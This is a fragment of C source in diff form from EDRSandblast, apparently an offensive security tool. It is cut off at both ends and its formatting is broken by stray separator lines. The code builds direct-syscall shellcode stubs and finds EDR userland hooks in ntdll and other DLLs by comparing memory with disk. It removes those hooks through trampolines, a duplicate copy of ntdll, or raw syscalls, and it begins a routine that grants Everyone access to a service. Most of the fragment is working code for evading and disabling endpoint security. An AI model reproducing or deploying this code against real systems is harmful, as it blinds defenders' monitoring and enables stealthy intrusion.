DWORD up = syscallTableSize;
|
||||
while (up - down > 1) {
|
||||
DWORD mid = (down + up) / 2;
|
||||
if (strcmp(syscallTable[mid].Name, zwFunctionName) <= 0) {
|
||||
down = mid;
|
||||
}
|
||||
else {
|
||||
up = mid;
|
||||
}
|
||||
}
|
||||
if (!strcmp(syscallTable[down].Name, zwFunctionName)) {
|
||||
return syscallTable[down].Number;
|
||||
}
|
||||
else {
|
||||
return INVALID_SYSCALL_NUMBER;
|
||||
}
|
||||
}
|
||||
|
||||
PVOID CreateSyscallStubWithVirtuallAlloc(LPCSTR ntFunctionName) {
|
||||
BYTE mov_eax_syscall_number[] = { 0xB8, 0x42, 0x42, 0x42, 0x42 };
|
||||
BYTE mov_r10_rcx[] = { 0x4C, 0x8B, 0xD1 };
|
||||
BYTE syscall_ret[] = { 0x0F, 0x05, 0xC3 };
|
||||
|
||||
SIZE_T shellcode_len = sizeof(mov_eax_syscall_number) + sizeof(mov_r10_rcx) + sizeof(syscall_ret);
|
||||
PBYTE shellcode = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (!shellcode) {
|
||||
return NULL;
|
||||
}
|
||||
PBYTE pShellcode = shellcode;
|
||||
|
||||
// get the syscall number through different techniques and check they give the same result
|
||||
DWORD syscallNumber = INVALID_SYSCALL_NUMBER;
|
||||
DWORD(*GetSyscallNumberFunc[])(LPCSTR) = { GetSyscallNumberFromMemoryScanning , GetSyscallNumberFromExportOrdering , GetSyscallNumberFromHardcodedInformation };
|
||||
|
||||
for (DWORD i = 0; i < _countof(GetSyscallNumberFunc); i++) {
|
||||
DWORD syscallNumberCandidate = GetSyscallNumberFunc[i](ntFunctionName);
|
||||
if (syscallNumberCandidate != INVALID_SYSCALL_NUMBER) {
|
||||
if (syscallNumber != INVALID_SYSCALL_NUMBER && syscallNumber != syscallNumberCandidate) {
|
||||
return NULL;
|
||||
}
|
||||
syscallNumber = syscallNumberCandidate;
|
||||
}
|
||||
}
|
||||
|
||||
if (syscallNumber == INVALID_SYSCALL_NUMBER) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
*(DWORD*)&mov_eax_syscall_number[1] = syscallNumber;
|
||||
memcpy(pShellcode, mov_eax_syscall_number, sizeof(mov_eax_syscall_number));
|
||||
pShellcode += sizeof(mov_eax_syscall_number);
|
||||
memcpy(pShellcode, mov_r10_rcx, sizeof(mov_r10_rcx));
|
||||
pShellcode += sizeof(mov_r10_rcx);
|
||||
memcpy(pShellcode, syscall_ret, sizeof(syscall_ret));
|
||||
pShellcode += sizeof(syscall_ret);
|
||||
|
||||
DWORD oldProtect;
|
||||
VirtualProtect(shellcode, shellcode_len, PAGE_EXECUTE_READ, &oldProtect);
|
||||
|
||||
return shellcode;
|
||||
}
|
||||
@@ -0,0 +1,623 @@
|
||||
/*
|
||||
* All the logic that detects, resolves, patch userland hooks and other related structures
|
||||
*/
|
||||
|
||||
#include <Windows.h>
|
||||
#include <PathCch.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "../EDRSandblast.h"
|
||||
#include "FileUtils.h"
|
||||
#include "UserlandHooks.h"
|
||||
#include "PEBBrowse.h"
|
||||
#include "Undoc.h"
|
||||
#include "Syscalls.h"
|
||||
|
||||
|
||||
#if _DEBUG
|
||||
int debugf(const char* fmt, ...) {
|
||||
va_list args;
|
||||
va_start(args, fmt);
|
||||
int res = vprintf(fmt, args);
|
||||
va_end(args);
|
||||
return res;
|
||||
}
|
||||
#else
|
||||
#define debugf(...)
|
||||
#endif
|
||||
|
||||
/*
|
||||
* Return the address (in "mem") of the first difference between two memory ranges ("mem" & "disk") of size "len".
|
||||
* If the "lenPatch" pointer is provided, also returns the number of consecutive bytes that differ
|
||||
*/
|
||||
PBYTE findDiff(PBYTE mem, PBYTE disk, size_t len, size_t* lenPatch) {
|
||||
for (size_t i = 0; i < len; i++) {
|
||||
if (mem[i] != disk[i]) {
|
||||
size_t patchStartIndex = i;
|
||||
if (NULL != lenPatch) {
|
||||
while (mem[i] != disk[i] && i < len) {
|
||||
i++;
|
||||
}
|
||||
*lenPatch = i - patchStartIndex;
|
||||
}
|
||||
return &mem[patchStartIndex];
|
||||
}
|
||||
}
|
||||
if (NULL != lenPatch) {
|
||||
*lenPatch = 0;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*
|
||||
* Returns a list of differences (patches) between two memory ranges ("searchStartMem" and "searchStartDisk") of size "sizeToScan".
|
||||
* The list is a NULL-terminated array of "diff" elements
|
||||
*/
|
||||
PATCH_DIFF* findDiffsInRange(PBYTE searchStartMem, PBYTE searchStartDisk, size_t sizeToScan) {
|
||||
size_t diffSize;
|
||||
PVOID diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize);
|
||||
DWORD diffsListLen = 4;
|
||||
size_t diffsListI = 0;
|
||||
PATCH_DIFF* diffsList = malloc(diffsListLen * sizeof(PATCH_DIFF));
|
||||
if (NULL == diffsList) {
|
||||
debugf("bug in malloc in findDiffsInRange\n");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
while (diffAddr != NULL && sizeToScan != 0) {
|
||||
//debugf("diff found at 0x%p of size %d\n", diffAddr, diffSize);
|
||||
searchStartDisk = (BYTE*)searchStartDisk + ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem);
|
||||
sizeToScan -= ((BYTE*)diffAddr + diffSize - (BYTE*)searchStartMem);
|
||||
searchStartMem = (BYTE*)diffAddr + diffSize;
|
||||
diffsList[diffsListI].mem_ptr = diffAddr;
|
||||
diffsList[diffsListI].disk_ptr = searchStartDisk - diffSize;
|
||||
diffsList[diffsListI].size = diffSize;
|
||||
diffAddr = findDiff(searchStartMem, searchStartDisk, sizeToScan, &diffSize);
|
||||
diffsListI++;
|
||||
if (diffsListI >= diffsListLen) {
|
||||
diffsListLen *= 2;
|
||||
PVOID diffsListTmp = realloc(diffsList, diffsListLen * sizeof(PATCH_DIFF));
|
||||
if (NULL == diffsListTmp) {
|
||||
debugf("bug in realloc in findDiffsInRange\n");
|
||||
exit(1);
|
||||
}
|
||||
diffsList = diffsListTmp;
|
||||
}
|
||||
}
|
||||
|
||||
PVOID diffsListTmp = realloc(diffsList, (diffsListI + 1) * sizeof(PATCH_DIFF));
|
||||
if (NULL == diffsListTmp) {
|
||||
debugf("bug in realloc in findDiffsInRange\n");
|
||||
exit(1);
|
||||
}
|
||||
diffsList = diffsListTmp;
|
||||
diffsList[diffsListI].mem_ptr = NULL;
|
||||
diffsList[diffsListI].disk_ptr = NULL;
|
||||
diffsList[diffsListI].size = 0;
|
||||
return diffsList;
|
||||
}
|
||||
|
||||
/*
|
||||
* Returns the list of differences between the content of a PE on disk and the content of its version in memory.
|
||||
* Only read-only sections are compared, since writable sections will obviously contain differences.
|
||||
* Warning : "diskPe" should have been "relocated" to the same address as "memPe" in order not to return all relocations as differences
|
||||
*/
|
||||
PATCH_DIFF* findDiffsInNonWritableSections(PE* memPe, PE* diskPe) {
|
||||
PATCH_DIFF* list = NULL;
|
||||
for (IMAGE_SECTION_HEADER* nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, NULL, 0, -1, 0);
|
||||
nonWritableSection != NULL;
|
||||
nonWritableSection = PE_nextSectionHeader_fromPermissions(memPe, nonWritableSection, 0, -1, 0)) {
|
||||
debugf("Diffs in section %s:\n", nonWritableSection->Name);
|
||||
DWORD sectionRVA = nonWritableSection->VirtualAddress;
|
||||
LPVOID sectionAddrDisk = PE_RVA_to_Addr(diskPe, sectionRVA);
|
||||
LPVOID sectionAddrMem = PE_RVA_to_Addr(memPe, sectionRVA);
|
||||
LPVOID searchStartMem = sectionAddrMem;
|
||||
LPVOID searchStartDisk = sectionAddrDisk;
|
||||
DWORD remainingSize = nonWritableSection->Misc.VirtualSize;
|
||||
|
||||
list = findDiffsInRange(searchStartMem, searchStartDisk, remainingSize);
|
||||
}
|
||||
return list;
|
||||
}
|
||||
|
||||
|
||||
|
||||
/*
|
||||
* Looks for a memory needle in a memory haystack
|
||||
*/
|
||||
PBYTE memmem(PVOID haystack, SIZE_T haystack_len, PVOID needle, SIZE_T needle_len)
|
||||
{
|
||||
if (!haystack)
|
||||
return NULL;
|
||||
if (!haystack_len)
|
||||
return NULL;
|
||||
if (!needle)
|
||||
return NULL;
|
||||
if (!needle_len)
|
||||
return NULL;
|
||||
PBYTE h = haystack;
|
||||
while (haystack_len >= needle_len)
|
||||
{
|
||||
if (!memcmp(h, needle, needle_len))
|
||||
return h;
|
||||
++h;
|
||||
--haystack_len;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/*
|
||||
* Search for a piece of executable code starting with pattern followed by a jump to expectedTarget
|
||||
*/
|
||||
PVOID searchTrampolineInExecutableMemory(PVOID pattern, size_t patternSize, PVOID expectedTarget)
|
||||
{
|
||||
SIZE_T haystack_len;
|
||||
PVOID haystack;
|
||||
PBYTE patternInExecutableMemory;
|
||||
MEMORY_BASIC_INFORMATION mbi = { 0 };
|
||||
|
||||
for (PBYTE addr = 0; ; addr += mbi.RegionSize)
|
||||
{
|
||||
if (!VirtualQuery(addr, &mbi, sizeof(mbi))) {
|
||||
break;
|
||||
}
|
||||
|
||||
if (mbi.State != MEM_COMMIT) {
|
||||
continue;
|
||||
}
|
||||
if (mbi.Protect != PAGE_EXECUTE && mbi.Protect != PAGE_EXECUTE_READ && mbi.Protect != PAGE_EXECUTE_READWRITE) {
|
||||
continue;
|
||||
}
|
||||
haystack = mbi.BaseAddress;
|
||||
haystack_len = mbi.RegionSize;
|
||||
while (haystack_len)
|
||||
{
|
||||
patternInExecutableMemory = (PBYTE)memmem(haystack, haystack_len, pattern, patternSize);
|
||||
if (!patternInExecutableMemory) {
|
||||
break;
|
||||
}
|
||||
if (hookResolver(&patternInExecutableMemory[patternSize]) == expectedTarget) {
|
||||
return patternInExecutableMemory;
|
||||
}
|
||||
haystack_len -= patternInExecutableMemory + 1 - (PBYTE)haystack;
|
||||
haystack = patternInExecutableMemory + 1;
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
|
||||
VOID unhook(HOOK* hook, UNHOOK_METHOD unhook_method) {
|
||||
if (unhook_method == UNHOOK_NONE) {
|
||||
return;
|
||||
}
|
||||
|
||||
const WCHAR* ntdlolFileName = L".\\ntdlol.txt";
|
||||
WCHAR ntdllFilePath[MAX_PATH] = { 0 };
|
||||
WCHAR ntdlolFilePath[MAX_PATH] = { 0 };
|
||||
HANDLE secondNtdll = INVALID_HANDLE_VALUE;
|
||||
PE* ntdll_mem = NULL;
|
||||
PE* ntdll_disk = NULL;
|
||||
getNtdllPEs(&ntdll_mem, &ntdll_disk);
|
||||
|
||||
PATCH_DIFF* patches = hook->list_patches;
|
||||
//merge every small patches into 1 patch to perform a single write
|
||||
PATCH_DIFF patch = patches[0];
|
||||
int nb_patches = 0;
|
||||
while (patches[nb_patches].size) {
|
||||
nb_patches++;
|
||||
}
|
||||
PATCH_DIFF lastPatch = patches[nb_patches - 1];
|
||||
patch.size += ((PBYTE)(lastPatch.mem_ptr) - ((PBYTE)(patch.mem_ptr) + patch.size)) + lastPatch.size;
|
||||
|
||||
pNtProtectVirtualMemory unmonitoredNtProtectVirtualMemory = NULL;
|
||||
|
||||
// Method used to get a NtProtectVirtualMemory function that is safe to use
|
||||
switch (unhook_method) {
|
||||
case UNHOOK_WITH_NTPROTECTVIRTUALMEMORY:
|
||||
// in this case, it is not really "safe" to use
|
||||
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)PE_functionAddr(ntdll_mem, "NtProtectVirtualMemory");
|
||||
break;
|
||||
|
||||
case UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE:
|
||||
case UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE:
|
||||
unmonitoredNtProtectVirtualMemory = getSafeVirtualProtectUsingTrampoline(unhook_method);
|
||||
break;
|
||||
|
||||
case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY:
|
||||
GetSystemDirectoryW(ntdllFilePath, _countof(ntdllFilePath));
|
||||
PathCchCombine(ntdllFilePath, _countof(ntdllFilePath), ntdllFilePath, L"ntdll.dll");
|
||||
|
||||
GetTempPathW(MAX_PATH, ntdlolFilePath);
|
||||
PathCchCombine(ntdlolFilePath, _countof(ntdlolFilePath), ntdlolFilePath, ntdlolFileName);
|
||||
|
||||
CopyFileW(ntdllFilePath, ntdlolFilePath, FALSE);
|
||||
secondNtdll = LoadLibraryW(ntdlolFilePath);
|
||||
PE* secondNtdll_pe = PE_create(secondNtdll, TRUE);
|
||||
|
||||
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)PE_functionAddr(secondNtdll_pe, "NtProtectVirtualMemory");
|
||||
break;
|
||||
case UNHOOK_WITH_DIRECT_SYSCALL:
|
||||
unmonitoredNtProtectVirtualMemory = (pNtProtectVirtualMemory)CreateSyscallStubWithVirtuallAlloc("NtProtectVirtualMemory");
|
||||
if (unmonitoredNtProtectVirtualMemory == NULL) {
|
||||
printf_or_not("Something wrong happened with CreateSyscallStubWithVirtuallAlloc, aborting...\n");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
break;
|
||||
default:
|
||||
printf_or_not("Unhook method does not exist, exiting...\n");
|
||||
exit(EXIT_FAILURE);
|
||||
break;
|
||||
}
|
||||
|
||||
//actually remove the hook
|
||||
DWORD oldProtect;
|
||||
PVOID patch_mem_ptr = patch.mem_ptr;
|
||||
SIZE_T patch_size = patch.size;
|
||||
NTSTATUS status = unmonitoredNtProtectVirtualMemory(
|
||||
(HANDLE)-1, // GetCurrentProcess()
|
||||
&patch_mem_ptr,
|
||||
&patch_size,
|
||||
PAGE_EXECUTE_READWRITE,
|
||||
&oldProtect
|
||||
);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
debugf("unmonitoredNtProtectVirtualMemory 1 failed with status 0x%08x\n", status);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
for (size_t i = 0; i < patch.size; i++) {
|
||||
((PBYTE)patch.mem_ptr)[i] = ((PBYTE)patch.disk_ptr)[i];
|
||||
}
|
||||
|
||||
status = unmonitoredNtProtectVirtualMemory(
|
||||
(HANDLE)-1, // GetCurrentProcess()
|
||||
&patch_mem_ptr,
|
||||
&patch_size,
|
||||
oldProtect,
|
||||
&oldProtect
|
||||
);
|
||||
if (!NT_SUCCESS(status)) {
|
||||
debugf("unmonitoredNtProtectVirtualMemory 2 failed with status 0x%08x\n", status);
|
||||
exit(1);
|
||||
}
|
||||
|
||||
switch (unhook_method) {
|
||||
case UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY:
|
||||
if (secondNtdll && INVALID_HANDLE_VALUE != secondNtdll) {
|
||||
FreeLibrary(secondNtdll);
|
||||
}
|
||||
DeleteFileW(ntdlolFilePath);
|
||||
break;
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
pNtProtectVirtualMemory getSafeVirtualProtectUsingTrampoline(DWORD unhook_method) {
|
||||
PE* ntdllPE_mem = NULL;
|
||||
PE* ntdllPE_disk = NULL;
|
||||
getNtdllPEs(&ntdllPE_mem, &ntdllPE_disk);
|
||||
|
||||
PVOID disk_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_disk, "NtProtectVirtualMemory");
|
||||
PVOID mem_NtProtectVirtualMemory = PE_functionAddr(ntdllPE_mem, "NtProtectVirtualMemory");
|
||||
|
||||
size_t patchSize = 0;
|
||||
PVOID patchAddr = findDiff(mem_NtProtectVirtualMemory, disk_NtProtectVirtualMemory, PATCH_MAX_SIZE, &patchSize);
|
||||
|
||||
if (patchSize == 0) {
|
||||
return (pNtProtectVirtualMemory)mem_NtProtectVirtualMemory;
|
||||
}
|
||||
|
||||
if (unhook_method == UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) {
|
||||
PVOID trampoline = NULL;
|
||||
trampoline = searchTrampolineInExecutableMemory((PBYTE)disk_NtProtectVirtualMemory + ((PBYTE)patchAddr - (PBYTE)mem_NtProtectVirtualMemory), patchSize, (PBYTE)patchAddr + patchSize);
|
||||
if (NULL == trampoline) {
|
||||
debugf("Trampoline for NtProtectVirtualMemory was impossible to find !\n");
|
||||
exit(1);
|
||||
}
|
||||
return (pNtProtectVirtualMemory)trampoline;
|
||||
}
|
||||
else if (unhook_method == UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE) {
|
||||
|
||||
#if _WIN64
|
||||
#define JUMP_SIZE 14
|
||||
#else
|
||||
#define JUMP_SIZE 5
|
||||
#endif
|
||||
PBYTE trampoline = VirtualAlloc(NULL, patchSize + JUMP_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
if (NULL == trampoline) {
|
||||
debugf("\tError : VirtualAlloc: 0x%x\n\n", GetLastError());
|
||||
exit(1);
|
||||
}
|
||||
|
||||
DWORD oldProtect;
|
||||
memcpy(trampoline, disk_NtProtectVirtualMemory, patchSize);
|
||||
#if _WIN64
|
||||
* ((WORD*)(trampoline + patchSize)) = 0x25FF; //RIP relative jmp
|
||||
*((DWORD*)(trampoline + patchSize + 2)) = 0x0; // [RIP + 0]
|
||||
*((QWORD*)(trampoline + patchSize + 2 + 4)) = (QWORD)(((BYTE*)mem_NtProtectVirtualMemory) + patchSize);
|
||||
#else
|
||||
* (trampoline + patchSize) = 0xE9; //far JMP
|
||||
*((DWORD*)(trampoline + patchSize + 1)) = (DWORD)(((DWORD)mem_NtProtectVirtualMemory) + patchSize - (((DWORD)trampoline) + patchSize + JUMP_SIZE));
|
||||
#endif
|
||||
VirtualProtect(trampoline, patchSize + JUMP_SIZE, PAGE_EXECUTE_READ, &oldProtect);
|
||||
|
||||
return (pNtProtectVirtualMemory)trampoline;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
PVOID hookResolver(PBYTE hookAddr) {
|
||||
PBYTE destination = hookAddr;
|
||||
BOOL hasFollowedJmp = FALSE;
|
||||
while (TRUE) {
|
||||
MEMORY_BASIC_INFORMATION mbi;
|
||||
VirtualQuery(destination, &mbi, sizeof(mbi));
|
||||
if (mbi.State != MEM_COMMIT) {
|
||||
return NULL;
|
||||
}
|
||||
switch (destination[0]) {
|
||||
case 0xE9:
|
||||
{
|
||||
int diff = *((int*)(&destination[1]));
|
||||
destination = &destination[5] + diff;
|
||||
hasFollowedJmp = TRUE;
|
||||
break;
|
||||
}
|
||||
#if _WIN64
|
||||
case 0xFF:
|
||||
{
|
||||
BYTE selector = destination[1];
|
||||
if (selector != 0x25) {
|
||||
return NULL;
|
||||
}
|
||||
int diff = *((int*)(&destination[2]));
|
||||
QWORD* offsetPtr = (QWORD*)((&destination[6]) + diff);
|
||||
destination = (PBYTE)*offsetPtr;
|
||||
hasFollowedJmp = TRUE;
|
||||
break;
|
||||
}
|
||||
#endif
|
||||
default:
|
||||
if (!hasFollowedJmp) {
|
||||
return NULL;
|
||||
}
|
||||
else {
|
||||
return destination;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
BOOL isFunctionHooked(LPCSTR functionName, PE* memDLL, PE* diskDLL) {
|
||||
PVOID mem_functionStart = PE_functionAddr(memDLL, functionName);
|
||||
PVOID disk_functionStart = PE_functionAddr(diskDLL, functionName);
|
||||
return findDiff(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE, NULL) != NULL;
|
||||
}
|
||||
|
||||
_Ret_notnull_ HOOK* searchHooks(const char* csvFileName) {
|
||||
FILE* csvFile = NULL;
|
||||
DWORD hookListSize = 8;
|
||||
DWORD hookList_i = 0;
|
||||
HOOK* hooksList = calloc(hookListSize, sizeof(HOOK));
|
||||
if (NULL == hooksList) {
|
||||
debugf("calloc failed\n");
|
||||
exit(1);
|
||||
}
|
||||
if (csvFileName) {
|
||||
if (fopen_s(&csvFile, csvFileName, "w") || NULL == csvFile) {
|
||||
perror("CSV file could not be opened:");
|
||||
exit(1);
|
||||
}
|
||||
fprintf(csvFile, "DLL base address;DLL name;DLL full path;Hooked function;Hook handler address;Hook handler relative address\n");
|
||||
}
|
||||
|
||||
BOOL hooksFoundInLastModule = TRUE;
|
||||
PBYTE disk_dllContent = NULL;
|
||||
PE* diskDLL = NULL;
|
||||
PE* memDLL = NULL;
|
||||
for (LDR_DATA_TABLE_ENTRY* currentModuleEntry = getNextModuleEntryInLoadOrder(NULL); currentModuleEntry != NULL; currentModuleEntry = getNextModuleEntryInLoadOrder(currentModuleEntry)) {
|
||||
UNICODE_STRING dll_name = currentModuleEntry->BaseDllName;
|
||||
if (dll_name.Buffer == NULL) {
|
||||
continue;
|
||||
}
|
||||
WCHAR* moduleName = currentModuleEntry->FullDllName.Buffer;
|
||||
|
||||
if (!hooksFoundInLastModule) {
|
||||
printf_or_not("[+] [Hooks]\t\tNo hooks found in this module.\n");
|
||||
if (disk_dllContent) {
|
||||
free(disk_dllContent);
|
||||
disk_dllContent = NULL;
|
||||
}
|
||||
if (memDLL) {
|
||||
PE_destroy(memDLL);
|
||||
memDLL = NULL;
|
||||
}
|
||||
if (diskDLL) {
|
||||
PE_destroy(diskDLL);
|
||||
diskDLL = NULL;
|
||||
}
|
||||
}
|
||||
else {
|
||||
hooksFoundInLastModule = FALSE;
|
||||
}
|
||||
printf_or_not("[+] [Hooks]\t%ws (%ws): 0x%p\n", dll_name.Buffer, moduleName, currentModuleEntry->DllBase);
|
||||
if (csvFile) {
|
||||
fprintf(csvFile, "0x%p;%ws;%ws;;;\n",
|
||||
currentModuleEntry->DllBase,
|
||||
currentModuleEntry->BaseDllName.Buffer,
|
||||
currentModuleEntry->FullDllName.Buffer
|
||||
);
|
||||
}
|
||||
|
||||
PVOID mem_dllImageBase = currentModuleEntry->DllBase;
|
||||
memDLL = PE_create(mem_dllImageBase, TRUE);
|
||||
if (!memDLL || NULL == memDLL->exportDirectory) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (!FileExistsW(currentModuleEntry->FullDllName.Buffer)) {
|
||||
continue;
|
||||
}
|
||||
disk_dllContent = ReadFullFileW(currentModuleEntry->FullDllName.Buffer);
|
||||
if (NULL == disk_dllContent) {
|
||||
debugf("\tError : ReadFullFileW: 0x%x\n\n", GetLastError());
|
||||
continue;
|
||||
}
|
||||
|
||||
|
||||
diskDLL = PE_create(disk_dllContent, FALSE);
|
||||
if (NULL == diskDLL) {
|
||||
debugf("\tError : PE_create\n");
|
||||
continue;
|
||||
}
|
||||
|
||||
PE_rebasePE(diskDLL, memDLL->baseAddress);
|
||||
|
||||
for (DWORD nameOrdinal = 0; nameOrdinal < diskDLL->exportedNamesLength; nameOrdinal++) {
|
||||
LPCSTR functionName = PE_RVA_to_Addr(diskDLL, diskDLL->exportedNames[nameOrdinal]);
|
||||
DWORD functionRVA = PE_functionRVA(diskDLL, functionName);
|
||||
IMAGE_SECTION_HEADER* functionSectionHeader = PE_sectionHeader_fromRVA(diskDLL, functionRVA);
|
||||
|
||||
if ((functionSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) == 0)//not a function
|
||||
continue;
|
||||
|
||||
PBYTE disk_functionStart = PE_functionAddr(diskDLL, functionName);
|
||||
PBYTE mem_functionStart = PE_functionAddr(memDLL, functionName);
|
||||
|
||||
//check if hook was already detected in this function (due to export aliasing)
|
||||
BOOL alreadyChecked = FALSE;
|
||||
for (size_t i = 0; i < hookList_i; i++) {
|
||||
if (hooksList[i].mem_function == mem_functionStart) {
|
||||
alreadyChecked = TRUE;
|
||||
break;
|
||||
}
|
||||
|
||||
}
|
||||
if (alreadyChecked)
|
||||
continue;
|
||||
|
||||
if (isFunctionHooked(functionName, diskDLL, memDLL)) {
|
||||
printf_or_not("[+] [Hooks]\t\tHook detected in function %s (0x%08lx)", functionName, functionRVA);
|
||||
hooksFoundInLastModule = TRUE;
|
||||
PVOID jmpTarget = hookResolver(mem_functionStart);
|
||||
if (NULL == jmpTarget) {
|
||||
printf_or_not("...but not a JMP, maybe a false positive (data export) or unimplemented hook recognition\n");
|
||||
}
|
||||
else {
|
||||
LDR_DATA_TABLE_ENTRY* hookTargetModuleEntry = getModuleEntryFromAbsoluteAddr(jmpTarget);
|
||||
for (DWORD i = 0; i < 40 - strlen(functionName); i++) {
|
||||
printf_or_not(" ");
|
||||
}
|
||||
// TODO: Fix hooks resolver to identify dll
|
||||
// printf_or_not("-> %ws+0x%tx", hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase));
|
||||
|
||||
if (csvFile) {
|
||||
fprintf(csvFile, "0x%p;%ws;%ws;%s;0x%p;%ws+0x%tx\n",
|
||||
currentModuleEntry->DllBase,
|
||||
currentModuleEntry->BaseDllName.Buffer,
|
||||
currentModuleEntry->FullDllName.Buffer,
|
||||
functionName,
|
||||
jmpTarget,
|
||||
hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase)
|
||||
);
|
||||
}
|
||||
|
||||
if (hookList_i >= hookListSize) {
|
||||
hookListSize *= 2;
|
||||
PVOID hooksListTmp = realloc(hooksList, hookListSize * sizeof(HOOK));
|
||||
if (hooksListTmp == NULL) {
|
||||
debugf("realloc failed\n");
|
||||
exit(1);
|
||||
}
|
||||
hooksList = hooksListTmp;
|
||||
}
|
||||
printf_or_not("\n");
|
||||
|
||||
hooksList[hookList_i].mem_function = mem_functionStart;
|
||||
hooksList[hookList_i].disk_function = disk_functionStart;
|
||||
hooksList[hookList_i].functionName = functionName;
|
||||
hooksList[hookList_i].list_patches = findDiffsInRange(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE);
|
||||
hookList_i++;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if (!hooksFoundInLastModule) {
|
||||
printf_or_not("[+] [Hooks]\t\tNo hooks found in this module.\n");
|
||||
}
|
||||
if (csvFileName) {
|
||||
fclose(csvFile);
|
||||
}
|
||||
if (hookList_i >= hookListSize) {
|
||||
hookListSize++;
|
||||
PVOID hooksListTmp = realloc(hooksList, hookListSize * sizeof(HOOK));
|
||||
if (NULL == hooksListTmp) {
|
||||
printf_or_not("realloc failed\n");
|
||||
exit(1);
|
||||
}
|
||||
hooksList = hooksListTmp;
|
||||
}
|
||||
hooksList[hookList_i].mem_function = NULL;
|
||||
hooksList[hookList_i].disk_function = NULL;
|
||||
hooksList[hookList_i].functionName = NULL;
|
||||
|
||||
return hooksList;
|
||||
}
|
||||
|
||||
/*
|
||||
* Get a view of ntdll.dll PE both on disk and in memory, while caching it for later access
|
||||
* "Rebase" the disk version to the same base address of the memory-mapped one for coherence
|
||||
*/
|
||||
void getNtdllPEs(PE** ntdllPE_mem, PE** ntdllPE_disk) {
|
||||
LDR_DATA_TABLE_ENTRY* ntdllModuleEntry = getModuleEntryFromNameW(L"ntdll.dll");
|
||||
PE* ntdllPE_mem_l = NULL;
|
||||
PE* ntdllPE_disk_l = NULL;
|
||||
|
||||
if (ntdllMemPe_g == NULL) {
|
||||
ntdllMemPe_g = ntdllPE_mem_l = PE_create(ntdllModuleEntry->DllBase, TRUE);
|
||||
}
|
||||
else {
|
||||
ntdllPE_mem_l = ntdllMemPe_g;
|
||||
}
|
||||
if (ntdllDiskPe_g == NULL) {
|
||||
PVOID disk_dllContent = ReadFullFileW(ntdllModuleEntry->FullDllName.Buffer);
|
||||
if (NULL == disk_dllContent) {
|
||||
exit(1);
|
||||
}
|
||||
ntdllDiskPe_g = ntdllPE_disk_l = PE_create(disk_dllContent, FALSE);
|
||||
PE_rebasePE(ntdllPE_disk_l, ntdllPE_mem_l->baseAddress);
|
||||
}
|
||||
else {
|
||||
ntdllPE_disk_l = ntdllDiskPe_g;
|
||||
}
|
||||
|
||||
if (ntdllPE_mem) {
|
||||
*ntdllPE_mem = ntdllPE_mem_l;
|
||||
}
|
||||
if (ntdllPE_disk) {
|
||||
*ntdllPE_disk = ntdllPE_disk_l;
|
||||
}
|
||||
}
|
||||
|
||||
void test_trampoline_search()
|
||||
{
|
||||
for (HOOK* h = searchHooks(NULL); h->disk_function; ++h)
|
||||
{
|
||||
PVOID trampoline = NULL;
|
||||
printf_or_not("[+] [Hooks]\tLooking for %s trampoline...\n", h->functionName);
|
||||
for (PATCH_DIFF* d = h->list_patches; d->disk_ptr; ++d)
|
||||
{
|
||||
trampoline = (PBYTE)searchTrampolineInExecutableMemory((PBYTE)d->disk_ptr, d->size, (PBYTE)d->mem_ptr + d->size);
|
||||
if (trampoline)
|
||||
{
|
||||
printf_or_not("[+] [Hooks]\t\tTrampoline found at %p !\n", trampoline);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (!trampoline)
|
||||
printf_or_not("[+] [Hooks]\t\tTRAMPOLINE NOT FOUND !\n");
|
||||
}
|
||||
}
|
||||
+69
-197
@@ -6,234 +6,57 @@
|
||||
*/
|
||||
#include <Windows.h>
|
||||
#include <aclapi.h>
|
||||
#include <Shlwapi.h>
|
||||
#include <Tchar.h>
|
||||
#include <time.h>
|
||||
|
||||
#include "DriverOps.h"
|
||||
|
||||
BOOL ServiceAddEveryoneAccess(SC_HANDLE serviceHandle) {
|
||||
BOOL status = FALSE;
|
||||
DWORD dwSizeNeeded;
|
||||
PSECURITY_DESCRIPTOR oldSd, newSd;
|
||||
SECURITY_DESCRIPTOR dummySdForXP;
|
||||
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
|
||||
|
||||
EXPLICIT_ACCESS ForEveryoneACL = {
|
||||
